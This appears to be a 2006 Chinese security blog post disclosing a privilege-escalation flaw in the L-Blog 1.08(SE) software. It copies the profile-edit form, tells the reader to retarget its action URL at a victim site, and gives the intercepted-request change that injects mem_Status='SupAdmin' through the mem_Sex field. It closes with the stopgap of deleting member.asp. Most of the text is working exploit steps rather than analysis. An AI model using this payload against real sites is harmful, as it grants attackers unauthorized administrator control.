2006年1月7日11:48星期六 [安全文摘] 用户编辑 编辑个人资料 名称: 9xiao 旧密码: * 修改资料必须输入原密码 新密码: * 密码必须是6-16位 确认密码: 性别: 邮箱: 隐藏邮箱 腾讯QQ: 个人主页: 个人简介: action="http://url/member.asp?action=edit&edit=post" 替换为目标url,1.10版本抓包修改mem_Sex值为“0,mem_Status="SupAdmin"” 先删除掉mebber.asp再说,以后看官方的补丁了!! --- 转载请注明本文标题和链接:《L-Blog1.08(SE) 提权漏洞》
发表评论